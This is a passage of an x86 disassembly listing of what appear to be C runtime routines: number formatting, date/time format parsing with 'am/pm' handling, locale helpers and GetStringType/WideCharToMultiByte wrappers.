eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4383BF ; --------------------------------------------------------------------------- loc_438404: ; CODE XREF: sub_438380+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_438429 ; --------------------------------------------------------------------------- loc_438420: ; CODE XREF: sub_438380+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_438429: ; CODE XREF: sub_438380+28j ; sub_438380+9Ej mov esp, ebp pop ebp retn sub_438380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438430 proc near ; CODE XREF: sub_438380+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_43848B loc_438446: ; CODE XREF: sub_438430+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_43848B mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_438446 loc_43848B: ; CODE XREF: sub_438430+14j ; sub_438430+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4384A4: ; CODE XREF: sub_438430+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_4384A4 mov esp, ebp pop ebp retn sub_438430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4384E0 proc near ; CODE XREF: sub_437D10+EBp ; sub_437D10+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_4384E6: ; CODE XREF: sub_4384E0+2EAj ; sub_4384E0:loc_4388ABj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_43895C mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_43895C mov [ebp+var_8], 0 mov ds:dword_4F36A4, 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_438526 ; --------------------------------------------------------------------------- loc_43851D: ; CODE XREF: sub_4384E0+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_438526: ; CODE XREF: sub_4384E0+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_438541 jmp short loc_43851D ; --------------------------------------------------------------------------- loc_438541: ; CODE XREF: sub_4384E0+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_4388B0 mov ecx, [ebp+var_14] xor eax, eax mov al, byte_43898C[ecx] jmp off_438960[eax*4] loc_438578: ; DATA XREF: _0:0043896Co mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_4385B1 mov ecx, [ebp+var_18] jmp off_4389DF[ecx*4] loc_438597: ; DATA XREF: _0:off_4389DFo mov ds:dword_4F36A4, 1 loc_4385A1: ; CODE XREF: sub_4384E0+B0j ; DATA XREF: _0:004389E3o mov [ebp+var_8], 6Dh jmp short loc_4385B1 ; --------------------------------------------------------------------------- loc_4385A7: ; CODE XREF: sub_4384E0+B0j ; DATA XREF: _0:004389E7o mov [ebp+var_8], 62h jmp short loc_4385B1 ; --------------------------------------------------------------------------- loc_4385AD: ; CODE XREF: sub_4384E0+B0j ; DATA XREF: _0:004389EBo mov [ebp+var_8], 42h loc_4385B1: ; CODE XREF: sub_4384E0+ABj ; sub_4384E0+C5j ... jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_4385B6: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438970o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_4385EF mov ecx, [ebp+var_1C] jmp off_4389EF[ecx*4] loc_4385D5: ; CODE XREF: sub_4384E0+B0j ; DATA XREF: _0:off_4389EFo mov ds:dword_4F36A4, 1 loc_4385DF: ; CODE XREF: sub_4384E0+B0j ; sub_4384E0+EEj mov [ebp+var_8], 64h jmp short loc_4385EF ; --------------------------------------------------------------------------- loc_4385E5: ; CODE XREF: sub_4384E0+B0j ; sub_4384E0+EEj mov [ebp+var_8], 61h jmp short loc_4385EF ; --------------------------------------------------------------------------- loc_4385EB: ; CODE XREF: sub_4384E0+B0j ; sub_4384E0+EEj mov [ebp+var_8], 41h loc_4385EF: ; CODE XREF: sub_4384E0+E9j ; sub_4384E0+103j ... jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_4385F4: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438984o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_438608 cmp [ebp+var_20], 4 jz short loc_43860E jmp short loc_438612 ; --------------------------------------------------------------------------- loc_438608: ; CODE XREF: sub_4384E0+11Ej mov [ebp+var_8], 79h jmp short loc_438612 ; --------------------------------------------------------------------------- loc_43860E: ; CODE XREF: sub_4384E0+124j mov [ebp+var_8], 59h loc_438612: ; CODE XREF: sub_4384E0+126j ; sub_4384E0+12Cj jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_438617: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438974o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_43862B cmp [ebp+var_24], 2 jz short loc_438635 jmp short loc_438639 ; --------------------------------------------------------------------------- loc_43862B: ; CODE XREF: sub_4384E0+141j mov ds:dword_4F36A4, 1 loc_438635: ; CODE XREF: sub_4384E0+147j mov [ebp+var_8], 49h loc_438639: ; CODE XREF: sub_4384E0+149j jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_43863E: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438968o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_438652 cmp [ebp+var_28], 2 jz short loc_43865C jmp short loc_438660 ; --------------------------------------------------------------------------- loc_438652: ; CODE XREF: sub_4384E0+168j mov ds:dword_4F36A4, 1 loc_43865C: ; CODE XREF: sub_4384E0+16Ej mov [ebp+var_8], 48h loc_438660: ; CODE XREF: sub_4384E0+170j jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_438665: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438978o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_438679 cmp [ebp+var_2C], 2 jz short loc_438683 jmp short loc_438687 ; --------------------------------------------------------------------------- loc_438679: ; CODE XREF: sub_4384E0+18Fj mov ds:dword_4F36A4, 1 loc_438683: ; CODE XREF: sub_4384E0+195j mov [ebp+var_8], 4Dh loc_438687: ; CODE XREF: sub_4384E0+197j jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_43868C: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:0043897Co mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_4386A0 cmp [ebp+var_30], 2 jz short loc_4386AA jmp short loc_4386AE ; --------------------------------------------------------------------------- loc_4386A0: ; CODE XREF: sub_4384E0+1B6j mov ds:dword_4F36A4, 1 loc_4386AA: ; CODE XREF: sub_4384E0+1BCj mov [ebp+var_8], 53h loc_4386AE: ; CODE XREF: sub_4384E0+1BEj jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_4386B3: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438964o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_420F10 add esp, 8 test eax, eax jnz short loc_4386D3 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_4386F1 ; --------------------------------------------------------------------------- loc_4386D3: ; CODE XREF: sub_4384E0+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_420F10 add esp, 8 test eax, eax jnz short loc_4386F1 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_4386F1: ; CODE XREF: sub_4384E0+1F1j ; sub_4384E0+206j mov [ebp+var_8], 70h jmp loc_4388B0 ; --------------------------------------------------------------------------- loc_4386FA: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:00438980o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_438711 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_43871D ; --------------------------------------------------------------------------- loc_438711: ; CODE XREF: sub_4384E0+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_43871D: ; CODE XREF: sub_4384E0+22Fj ; sub_4384E0+2DFj cmp [ebp+var_C], 0 jle loc_4387C4 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_4387C4 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_438787 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_438787 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_438787: ; CODE XREF: sub_4384E0+26Ej ; sub_4384E0+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_43871D ; --------------------------------------------------------------------------- loc_4387C4: ; CODE XREF: sub_4384E0+241j ; sub_4384E0+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_4384E6 ; --------------------------------------------------------------------------- loc_4387CF: ; CODE XREF: sub_4384E0+91j ; DATA XREF: _0:off_438960o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_4388A2 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_4387E6: ; CODE XREF: sub_4384E0+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_4388A0 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_4388A0 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_438819 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_4388A0 ; --------------------------------------------------------------------------- loc_438819: ; CODE XREF: sub_4384E0+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_43886C mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_43886C mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_43886C: ; CODE XREF: sub_4384E0+353j ; sub_4384E0+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_4387E6 ; --------------------------------------------------------------------------- loc_4388A0: ; CODE XREF: sub_4384E0+30Ej ; sub_4384E0+31Aj ... jmp short loc_4388AB ; --------------------------------------------------------------------------- loc_4388A2: ; CODE XREF: sub_4384E0+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_4388AB: ; CODE XREF: sub_4384E0:loc_4388A0j jmp loc_4384E6 ; --------------------------------------------------------------------------- loc_4388B0: ; CODE XREF: sub_4384E0+80j ; sub_4384E0+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_4388DC mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_437D10 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_438957 ; --------------------------------------------------------------------------- loc_4388DC: ; CODE XREF: sub_4384E0+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_438928 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_438928: ; CODE XREF: sub_4384E0+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_438957: ; CODE XREF: sub_4384E0+3FAj jmp loc_4384E6 ; --------------------------------------------------------------------------- loc_43895C: ; CODE XREF: sub_4384E0+Ej ; sub_4384E0+1Aj mov esp, ebp pop ebp retn sub_4384E0 endp ; --------------------------------------------------------------------------- off_438960 dd offset loc_4387CF ; DATA XREF: sub_4384E0+91r dd offset loc_4386B3 dd offset loc_43863E dd offset loc_438578 dd offset loc_4385B6 dd offset loc_438617 dd offset loc_438665 dd offset loc_43868C dd offset loc_4386FA dd offset loc_4385F4 dd offset loc_4388B0 byte_43898C db 0 ; DATA XREF: sub_4384E0+8Br db 3 dup(0Ah) dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah dd 0A0A0A0Ah, 0A0A0807h db 2 dup(0Ah), 9 off_4389DF dd offset loc_438597 ; DATA XREF: sub_4384E0+B0r dd offset loc_4385A1 dd offset loc_4385A7 dd offset loc_4385AD off_4389EF dd offset loc_4385D5 ; DATA XREF: sub_4384E0+EEr ; --------------------------------------------------------------------------- fild word ptr [ebp-7A1AFFBDh] inc ebx add bl, ch test [ebx+0], eax int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438A00 proc near ; CODE XREF: sub_433A50+41p ; sub_433A50+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_438B69 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_439920 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_438AEF call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_438A70 jmp loc_438B4D ; --------------------------------------------------------------------------- loc_438A70: ; CODE XREF: sub_438A00+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_439920 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_438A9A jmp loc_438B4D ; --------------------------------------------------------------------------- loc_438A9A: ; CODE XREF: sub_438A00+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_41BE70 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_438AC0 jmp loc_438B4D ; --------------------------------------------------------------------------- loc_438AC0: ; CODE XREF: sub_438A00+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_439920 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_438AEF jmp short loc_438B4D ; --------------------------------------------------------------------------- loc_438AEF: ; CODE XREF: sub_438A00+5Aj ; sub_438A00+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_41BE70 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_438B19 jmp short loc_438B4D ; --------------------------------------------------------------------------- loc_438B19: ; CODE XREF: sub_438A00+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_41E510 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_438B46 push 2 mov edx, [ebp+var_C] push edx call sub_41CA10 add esp, 8 loc_438B46: ; CODE XREF: sub_438A00+136j xor eax, eax jmp loc_438C86 ; --------------------------------------------------------------------------- loc_438B4D: ; CODE XREF: sub_438A00+6Bj ; sub_438A00+95j ... cmp [ebp+var_4], 0 jz short loc_438B61 push 2 mov eax, [ebp+var_C] push eax call sub_41CA10 add esp, 8 loc_438B61: ; CODE XREF: sub_438A00+151j or eax, 0FFFFFFFFh jmp loc_438C86 ; --------------------------------------------------------------------------- loc_438B69: ; CODE XREF: sub_438A00+Dj cmp [ebp+arg_0], 0 jnz loc_438C83 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4F367C mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_439780 add esp, 14h test eax, eax jnz short loc_438BB0 or eax, 0FFFFFFFFh jmp loc_438C86 ; --------------------------------------------------------------------------- loc_438BB0: ; CODE XREF: sub_438A00+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_438BD4 ; --------------------------------------------------------------------------- loc_438BC5: ; CODE XREF: sub_438A00:loc_438C7Aj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_438BD4: ; CODE XREF: sub_438A00+1C3j cmp [ebp+var_A0], 4 jge loc_438C7F cmp ds:dword_453DF0, 1 jle short loc_438C1B push 4 mov ecx, [ebp+var_A0] mov dl, ds:byte_4F367C[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_427040 add esp, 8 mov [ebp+var_A8], eax jmp short loc_438C4E ; --------------------------------------------------------------------------- loc_438C1B: ; CODE XREF: sub_438A00+1E8j mov ecx, [ebp+var_A0] mov dl, ds:byte_4F367C[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_438C4E: ; CODE XREF: sub_438A00+219j cmp [ebp+var_A8], 0 jz short loc_438C78 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_438C7A ; --------------------------------------------------------------------------- loc_438C78: ; CODE XREF: sub_438A00+255j jmp short loc_438C7F ; --------------------------------------------------------------------------- loc_438C7A: ; CODE XREF: sub_438A00+276j jmp loc_438BC5 ; --------------------------------------------------------------------------- loc_438C7F: ; CODE XREF: sub_438A00+1DBj ; sub_438A00:loc_438C78j xor eax, eax jmp short loc_438C86 ; --------------------------------------------------------------------------- loc_438C83: ; CODE XREF: sub_438A00+16Dj or eax, 0FFFFFFFFh loc_438C86: ; CODE XREF: sub_438A00+148j ; sub_438A00+164j ... mov esp, ebp pop ebp retn sub_438A00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, ds:off_454E18 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438CA0 proc near ; CODE XREF: sub_434A80+216p ; sub_43B770+50p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E048 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F3688, 0 jnz short loc_438D1E lea eax, [ebp+var_1C] push eax push 1 push offset dword_43D410 push 1 call ds:dword_4F5304 ; GetStringTypeW test eax, eax jz short loc_438CF2 mov ds:dword_4F3688, 1 jmp short loc_438D1E ; --------------------------------------------------------------------------- loc_438CF2: ; CODE XREF: sub_438CA0+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_43D40C push 1 push 0 call ds:dword_4F5308 ; GetStringTypeA test eax, eax jz short loc_438D17 mov ds:dword_4F3688, 2 jmp short loc_438D1E ; --------------------------------------------------------------------------- loc_438D17: ; CODE XREF: sub_438CA0+69j xor eax, eax jmp loc_438EF9 ; --------------------------------------------------------------------------- loc_438D1E: ; CODE XREF: sub_438CA0+2Dj ; sub_438CA0+50j ... cmp ds:dword_4F3688, 1 jnz short loc_438D42 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4F5304 ; GetStringTypeW jmp loc_438EF9 ; --------------------------------------------------------------------------- loc_438D42: ; CODE XREF: sub_438CA0+85j cmp ds:dword_4F3688, 2 jnz loc_438EF7 cmp [ebp+arg_10], 0 jnz short loc_438D5D mov eax, ds:dword_4F3408 mov [ebp+arg_10], eax loc_438D5D: ; CODE XREF: sub_438CA0+B3j push 0 push 0 push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 220h mov eax, [ebp+arg_10] push eax call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_438D8C xor eax, eax jmp loc_438EF9 ; --------------------------------------------------------------------------- loc_438D8C: ; CODE XREF: sub_438CA0+E3j mov [ebp+var_4], 0 mov eax, [ebp+var_28] add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_28] push edx push 0 mov eax, [ebp+var_2C] push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_438DDE ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_438DDE: ; CODE XREF: sub_438CA0+125j cmp [ebp+var_2C], 0 jnz short loc_438DEB xor eax, eax jmp loc_438EF9 ; --------------------------------------------------------------------------- loc_438DEB: ; CODE XREF: sub_438CA0+142j push 0 push 0 mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 220h mov edx, [ebp+arg_10] push edx call ds:dword_4F5450 ; WideCharToMultiByte test eax, eax jnz short loc_438E19 xor eax, eax jmp loc_438EF9 ; --------------------------------------------------------------------------- loc_438E19: ; CODE XREF: sub_438CA0+170j mov [ebp+var_4], 1 mov eax, [ebp+var_28] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_438E5D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_438E5D: ; CODE XREF: sub_438CA0+1A4j cmp [ebp+var_24], 0 jnz short loc_438E6A xor eax, eax jmp loc_438EF9 ; --------------------------------------------------------------------------- loc_438E6A: ; CODE XREF: sub_438CA0+1C1j cmp [ebp+arg_14], 0 jnz short loc_438E79 mov edx, ds:dword_4F33F8 mov [ebp+arg_14], edx loc_438E79: ; CODE XREF: sub_438CA0+1CEj mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+arg_8] mov eax, [ebp+var_24] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_14] push edx call ds:dword_4F5308 ; GetStringTypeA mov [ebp+var_20], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_438ED8 mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_438EDC loc_438ED8: ; CODE XREF: sub_438CA0+222j xor eax, eax jmp short loc_438EF9 ; --------------------------------------------------------------------------- loc_438EDC: ; CODE XREF: sub_438CA0+236j mov eax, [ebp+arg_8] shl eax, 1 push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_420840 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_438EF9 ; --------------------------------------------------------------------------- loc_438EF7: ; CODE XREF: 